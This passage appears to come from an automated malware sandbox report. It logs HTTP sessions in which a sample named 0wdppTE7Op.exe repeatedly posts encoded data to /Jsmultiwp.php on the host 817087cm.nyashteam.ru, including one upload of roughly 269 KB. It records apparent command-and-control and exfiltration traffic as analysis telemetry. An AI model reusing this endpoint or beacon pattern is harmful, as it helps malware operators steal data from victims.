Dec 10, 2024 19:00:56.072851896 CET	1828	OUT	Data Raw: 50 59 5d 5d 5d 5f 50 50 5c 56 5b 59 50 5f 5a 5e 50 5f 59 5b 50 58 53 59 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PY]]]_PP\V[YP_Z^P_Y[PXSY_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#12?0Y#70=.#<?$( $+9V#(=/<'6R8$_" X(+
Dec 10, 2024 19:00:56.141458988 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:57.099606037 CET	966	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iCH6l0jhRQEJURKisClTD%2FujaueQPYtj1kAJBCN7NmbrjHMtJ2CsKcoi5RL5VS0jByaJp5mK81dK2JAuqXBP1HxwTb7eqmPRWYuW%2BYZRguQxHvFD06c%2F3vdZRrY%2FA34L1v4s61XcPC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff2325aa5943d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10482&min_rtt=1736&rtt_var=17042&sent=12&recv=15&lost=0&retrans=1&sent_bytes=869&recv_bytes=4954&delivery_rate=89422&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 12 20 15 20 08 22 1c 25 13 3a 00 24 59 2d 2b 33 59 3a 3b 36 01 23 2a 3d 06 2e 02 2d 06 28 3b 05 10 26 54 2d 07 27 26 25 53 3e 1e 28 51 06 1c 25 5c 24 29 3e 56 3f 06 39 1c 25 3e 23 03 2a 37 26 03 2a 00 30 0b 34 38 38 5a 31 2e 33 55 3f 2f 3e 0b 24 2c 0f 44 2c 30 21 5a 26 07 2a 51 00 16 21 50 2b 1f 15 03 37 20 0b 0b 22 0c 16 5c 3c 25 2f 12 25 3d 01 0c 33 05 2a 5c 30 05 3b 16 25 2f 26 0a 30 3c 06 04 20 59 3b 19 26 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98' "%:$Y-+3Y:;6#=.-(;&T-'&%S>(Q%\$)>V?9%>#7&0488Z1.3U?/>$,D,0!Z&Q!P+7 "\<%/%=3*\0;%/&0< Y;&3#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:56.064647913 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:00:56.416743994 CET	2528	OUT	Data Raw: 55 5c 5d 59 5d 5c 55 50 5c 56 5b 59 50 5b 5a 5b 50 55 59 58 50 5f 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U\]Y]\UP\V[YP[Z[PUYXP_S]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 20><(!8E)=4Z4381;.#+=8? 1,$_" X(;
Dec 10, 2024 19:00:57.220814943 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:00:57.987340927 CET	815	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xx87n%2BwtngtEl3FXhU3yL730AEWZtWZVtW79KxrRX5nVVq1AKIJ9h8gDTHROuZPlKGvH%2Fa30gPzeZgP6AJPDKPRntHgRj%2BqW55FMYuPT%2FPD5v9VqMoC2Bb6LF9d%2Bc0MhjIhIKCJABxM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff232caddc18c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3096&min_rtt=1685&rtt_var=3455&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=112498&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:00:58.631071091 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:00:58.979231119 CET	2528	OUT	Data Raw: 55 5a 5d 5a 5d 56 55 50 5c 56 5b 59 50 5c 5a 58 50 5d 59 5a 50 5d 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UZ]Z]VUP\V[YP\ZXP]YZP]SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\2[+<3#$$@>:#<$(%8=P7",85,,$_" X('
Dec 10, 2024 19:00:59.752785921 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:00.476277113 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LfKyfEWHZMLVAiU7AtsU%2BnV%2BxIvz8q6ksWJv5JHKMTfTrL6U7e%2FlpitcBgkcQt%2FgwkNOwJ6V0VokcYQctOgthqg22CHbO%2FVCsC39fFvD4nO5bqunyICg3IXm5%2FI0XtHx648x5n%2FtkUA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff233c7e3a0f4b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2923&min_rtt=1602&rtt_var=3243&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=119947&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:00.885010004 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:01.234431028 CET	2528	OUT	Data Raw: 55 5e 5d 53 5d 58 50 53 5c 56 5b 59 50 5b 5a 59 50 54 59 5e 50 5f 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U^]S]XPS\V[YP[ZYPTY^P_S^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ &2<?!/)$4838 %>4*;?[ 1/V;+$_" X(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:02.225627899 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:02.572952032 CET	1856	OUT	Data Raw: 55 58 58 59 5d 5e 50 53 5c 56 5b 59 50 5b 5a 5c 50 5d 59 58 50 5e 53 59 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UXXY]^PS\V[YP[Z\P]YXP^SY_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#'#!]?Z$Y!78A=43+Y&=Q488?<6;T8$_" X(;
Dec 10, 2024 19:01:03.485146999 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:03.846745014 CET	965	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wwyCdkg3Qgm5N%2FOn6Gg5kyK9t%2BV1kfsD1GuGNIEwfjJ4WQrk%2FqUkH8xxVUBpleXvv4A%2FTFElvndA934lqvbTDm0bu0uIGMkOEhHDCpcBDHFry5PU%2FUEbCn1tCh50ndE8jDOM09W0Kes%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23534bb37ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13919&min_rtt=2098&rtt_var=24429&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=15103&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 11 20 5d 28 0d 22 1c 03 13 39 29 27 04 2e 16 09 5d 2e 28 08 06 21 29 3e 5e 2d 3f 26 5a 3d 3b 01 5e 32 32 36 5a 24 08 35 56 29 34 28 51 06 1c 25 16 24 5c 32 56 28 3f 21 1c 24 3e 2c 5b 2a 09 07 5a 3e 07 27 52 34 15 37 07 26 3e 3f 1b 2a 3f 0c 0e 24 05 2a 19 38 0a 22 00 32 07 2a 51 00 16 21 17 3c 31 1d 07 20 33 22 55 21 32 24 5f 2b 1c 33 12 25 3d 0e 1f 27 5a 22 13 30 05 24 00 27 01 29 57 27 2c 0d 14 20 11 0d 51 27 23 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98' ]("9)'.].(!)>^-?&Z=;^226Z$5V)4(Q%$\2V(?!$>,[Z>'R47&>??$8"2Q!<1 3"U!2$_+3%='Z"0$')W', Q'##]-(W?ZO0
Dec 10, 2024 19:01:03.852936983 CET	301	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 269592 Expect: 100-continue
Dec 10, 2024 19:01:04.189965010 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:04.190597057 CET	14832	OUT	Data Raw: 55 5b 5d 5e 58 5b 50 54 5c 56 5b 59 50 5e 5a 50 50 58 59 55 50 5a 53 55 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U[]^X[PT\V[YP^ZPPXYUPZSU_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#% =X<<670+7=Y <]0(Y2)7(;8!!;V,+$_" X(/
Dec 10, 2024 19:01:04.311202049 CET	4944	OUT	Data Raw: 35 2a 01 5c 31 39 2e 11 2b 33 04 1b 2d 21 08 20 05 06 2c 24 21 28 16 29 0a 0d 2e 5b 35 2a 11 31 30 28 28 14 35 07 54 14 0d 28 2d 33 00 3d 3a 59 21 2a 20 3b 26 23 1b 59 0e 0c 36 33 2a 0a 0d 3e 35 22 1b 5f 25 29 32 56 34 58 32 19 26 5a 33 58 3d 37 Data Ascii: 5\19.+3-! ,$!().[510((5T(-3=:Y!* ;&#Y63>5"_%)2V4X2&Z3X=7:4Z4;\?S6YT00":3""[;]4?:#13+,;,'W43[8+>?5=/#&[=T'<<<V9=>'>>&.)221926,T$=>?_"/$8?$;?[:?+#8)2"0'8+?(*<"X89=
Dec 10, 2024 19:01:04.311269045 CET	2472	OUT	Data Raw: 34 1a 18 25 06 01 28 52 0e 2b 3b 36 32 03 2f 17 2b 05 3e 16 3e 04 08 29 30 1e 51 1f 39 02 22 1f 28 2a 31 1a 28 56 27 0a 08 23 3d 14 08 31 05 2b 3c 29 06 22 24 10 19 0c 3b 2f 35 20 24 5a 2c 59 09 2e 10 2e 0b 2e 1a 23 09 2c 0a 2c 3d 1b 23 19 00 58 Data Ascii: 4%(R+;62/+>>)0Q9"(1(V'#=1+<)"$;/5 $Z,Y...#,,=#X[ $'5->%>"%/'!:5@>!?9:=0>-?289Y]9S35A.!<ZW$,?;Y,=-2T$><',;\007:>4@>)#;^[;;4801_0.439^>R.49$<( Y1-><P6(3!;440
Dec 10, 2024 19:01:04.311317921 CET	7416	OUT	Data Raw: 0a 2c 2d 29 38 3d 0e 5b 04 38 0a 16 06 3b 00 0a 06 26 14 12 31 54 55 1a 3c 5c 5a 5a 3f 5c 0a 0e 3c 0b 3e 5c 01 35 0d 2f 31 38 02 29 2d 29 14 1b 0d 2e 52 38 36 59 0f 03 21 27 20 27 39 0b 35 1a 3c 0c 25 56 33 54 11 57 34 3d 2a 24 08 14 2d 32 06 05 Data Ascii: ,-)8=[8;&1TU<\ZZ?\<>\5/18)-).R86Y!' '95<%V3TW4=$-2.;'46 %7<$,ST7Z!=32W^'85502/098V72/>8;60XS6;], ;<$).$2"_4;98S51!0?!!'1-&7<W_R<_? (Y+#:08 -[)4?=8=;>
Dec 10, 2024 19:01:04.311395884 CET	2472	OUT	Data Raw: 24 1f 28 56 3b 04 3b 18 3a 5a 3d 14 0a 59 01 22 38 14 16 3a 06 29 0c 38 2a 25 2a 2e 34 31 29 17 02 2b 34 3e 0b 01 02 37 3d 3e 2a 31 36 2b 33 5f 31 28 38 5e 30 29 59 34 3e 06 1b 26 2c 2d 3d 32 28 5d 0e 5a 0e 0c 39 2d 3d 26 08 08 06 56 02 56 02 3d Data Ascii: $(V;;:Z=Y"8:)8%.41)+4>7=>16+3_1(8^0)Y4>&,-=2(]Z9-=&VV=^)<[%_>)%&](;'',9[Y=0C8>%=_5%:2"H"26!-),0[,!.>X<%,?./;>5=S-/8;_5;/U"1=0;%;-"V+:8!,9=_]<;\0 ?&'+%Q[^
Dec 10, 2024 19:01:04.311444998 CET	2472	OUT	Data Raw: 34 00 1a 10 0d 27 05 11 28 5a 1a 5f 32 57 1a 36 33 07 0e 25 38 13 3d 04 25 21 1c 5c 3b 31 25 19 01 1e 23 36 0c 08 34 27 0b 3b 5a 32 36 58 0d 1a 22 06 06 59 3e 0d 3e 2d 17 30 1d 3a 08 0f 2b 00 2b 28 31 59 3c 12 28 2f 30 00 02 18 31 05 0f 1e 38 28 Data Ascii: 4'(Z_2W63%8=%!\;1%#64';Z26X"Y>>-0:++(1Y<(/018(*)X/[91Q;Z>>Y[90""7>&:U>$5_#[7 &???0_9\"S2-326_'S 5 X-9U"#98)70,/ 2QU677:31-&$X%2>?(5$7(4(T??432>-<) +0!/<Z
Dec 10, 2024 19:01:04.311665058 CET	2472	OUT	Data Raw: 2d 21 29 5f 30 5e 35 12 33 33 3d 59 30 5b 23 38 35 08 0b 5b 32 2e 2b 53 3f 2c 05 5d 31 21 1a 0a 3f 2e 58 1c 24 06 26 08 37 2f 22 3f 3f 2a 35 1e 37 04 51 12 07 08 48 05 09 54 5f 1f 39 22 33 5c 30 1b 38 1e 26 5b 15 2c 3e 02 31 5c 3c 2d 1a 1d 27 2c Data Ascii: -!)_0^533=Y0[#85[2.+S?,]1!?.X$&7/"??57QHT_9"3\08&[,>1\<-',-==?^![W=X40$1(8P!U#W6=0-B<<###_-$!<& \!0084%04] Y^(;3#,/,$<3X]];,!7%?,7^(>5)B78.3 1;$$;SS9U:/_3<4$\/^^)_-) _
Dec 10, 2024 19:01:04.405694008 CET	4944	OUT	Data Raw: 37 5d 22 30 2f 2c 20 3a 3e 0e 16 22 36 20 23 11 3f 2f 29 39 3b 03 2c 5d 00 39 30 06 30 5e 3a 23 2a 38 36 5e 30 0c 21 5f 05 16 02 04 34 04 0d 54 0e 23 59 20 34 2a 3b 2d 2e 3b 0e 01 07 3f 59 2b 36 5f 1b 1c 39 2f 03 02 16 28 33 1d 25 0c 39 3a 08 51 Data Ascii: 7]"0/, :>"6 #?/)9;,]900^:#86^0!_4T#Y 4;-.;?Y+6_9/(3%9:Q1V,:2"??(Q881$6W ]'?Y,T<Y$ 71Z=U0&#3#>S>729\%<' '=10<=-3<9W%6/[% <<( <>^W##)!&^"%XR$!4(99X;^#.>;0 ?782']
Dec 10, 2024 19:01:04.430531979 CET	2472	OUT	Data Raw: 24 35 2a 26 05 21 33 15 06 0e 22 2c 30 36 0f 0d 31 3f 22 2f 3b 02 24 5f 33 27 04 3d 04 04 38 0e 26 5d 2b 37 0e 3e 3c 25 01 3f 2a 2d 3c 06 2d 44 2c 20 25 5a 0a 36 35 56 04 2b 3a 2d 07 30 06 1c 37 0f 56 31 3e 33 3f 17 28 1a 53 07 3c 04 1a 55 0b 04 Data Ascii: $5&!3",061?"/;$_3'=8&]+7><%?-<-D, %Z65V+:-07V1>3?(S<U' ,=.,9-;Y7,+;8(6> 88?;W,)(=V-2\75& V:!68?16!>Y?=Q$@"?<8^4!=+&0?78#T8, ;2/$?/$;,A1B5U^-\==9".&?1?78\-2(>:
Dec 10, 2024 19:01:06.012628078 CET	812	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dWaxcgNzWvJNvgR7HgEuFhDW8G%2FtNSTLy1JZSyXn7gukoAAI19uWfWz4s6EGYG2LfKUweLFD5nBNcuLCuvma1jpEE2hKNGfRgTsJJpOnPepDnlSqcDk7BqZ0GdmdRrAhZMnMF2gTENk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23582ba07ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15317&min_rtt=2098&rtt_var=16313&sent=152&recv=291&lost=0&retrans=0&sent_bytes=1015&recv_bytes=272072&delivery_rate=166609&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a Data Ascii: 41]^V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:02.435065031 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:01:02.791728020 CET	2528	OUT	Data Raw: 50 5a 5d 5f 5d 5e 55 55 5c 56 5b 59 50 5f 5a 51 50 5c 59 5f 50 58 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PZ]_]^UU\V[YP_ZQP\Y_PXSZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 2]<?4#4,=B%#?$$$1T#\8/'[5/+$_" X(+
Dec 10, 2024 19:01:03.760181904 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:04.073203087 CET	810	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jf1IO%2BfpdqusSUOtGsa3ayVqlfFCsQTaDafWYhreMmysqRtjixFtAxrj%2BrFfGYn9bAhoGxFO8QLCcO3WLqR55nu6OP%2B4z1iSiLTYLnISzGqHyD%2BFzNsgGCJjxH199gcRTzejzD5jEkc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23556c8e78e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=78941&min_rtt=69432&rtt_var=32829&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=21027&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a Data Ascii: 41]^V
Dec 10, 2024 19:01:04.266181946 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49759	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:04.550178051 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:01:04.901156902 CET	2528	OUT	Data Raw: 55 54 5d 52 58 5d 55 53 5c 56 5b 59 50 54 5a 51 50 58 59 55 50 59 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UT]RX]US\V[YPTZQPXYUPYS]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\& 5\?<!')4)7?4$^($(* (5,<+\"U,;$_" X(
Dec 10, 2024 19:01:05.672985077 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:01:06.333120108 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:01:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MuRjyHUHmNtmPqwGKmtvHC0KSqZuYX05HVc0DOf2HpNrpJXnnzWqQzn3S9hkFN8x%2FOSxlZ9pOaSyDljigh4rbqhlM4xa%2BwGcAhAaK8HVEIpYLVH1%2BkSB3%2B7duvKL46RS4hR20ZaOfYg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff23617ee48c51-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3672&min_rtt=2126&rtt_var=3889&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=100731&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	104.21.2.8	80	7236	C:\Users\user\Desktop\0wdppTE7Op.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:01:07.157521009 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
